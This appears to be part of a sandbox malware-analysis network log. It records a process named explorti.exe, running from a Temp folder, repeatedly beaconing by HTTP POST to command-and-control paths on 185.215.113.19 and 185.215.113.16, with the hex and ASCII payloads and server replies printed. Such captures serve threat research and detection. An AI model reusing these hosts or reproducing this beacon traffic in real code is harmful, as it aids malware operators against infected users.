Jul 26, 2024 13:51:00.240287066 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:51:01.059632063 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:51:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.6	63357	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:51:01.178745031 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:51:01.989027023 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:51:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.6	63358	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:51:01.990875959 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:51:02.777371883 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:51:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:51:02.778923988 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 42 41 30 34 33 43 45 46 44 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFBA043CEFDFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 13:51:03.029675961 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:51:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.6	63359	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:51:01.998471022 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:51:02.777308941 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:51:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.6	63360	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:51:02.900949955 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:51:03.668167114 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:51:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.6	63361	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:51:03.678066015 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:51:04.447405100 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:51:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.6	63362	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:51:04.570823908 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:51:05.324831963 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:51:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.6	63363	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:51:05.337482929 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:51:06.084908962 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:51:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.6	63364	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:51:06.201936007 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:51:06.943564892 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:51:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.6	63365	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:51:06.952231884 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:51:07.717493057 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:51:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.6	63366	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:51:07.833602905 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:51:08.597305059 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:51:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.6	63367	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:51:08.605396032 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:51:09.366050005 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:51:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.6	63368	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:51:09.484836102 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:51:10.262523890 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:51:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.6	63369	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:51:10.271476984 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:51:11.033535957 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:51:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.6	63370	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:51:11.401810884 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:51:12.149827003 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:51:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.6	63371	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:51:12.162940025 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:51:12.930887938 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:51:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.6	63372	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:51:13.046524048 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:51:13.893225908 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:51:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.6	63373	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:51:13.906083107 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:51:14.664988041 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:51:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.6	63374	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:51:14.779841900 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:51:15.536325932 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:51:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.6	63375	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:51:15.544770956 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:51:16.297480106 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:51:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.6	63376	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:51:16.408154964 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:51:17.232275009 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:51:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.6	63377	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:51:17.240380049 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:51:17.994311094 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:51:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
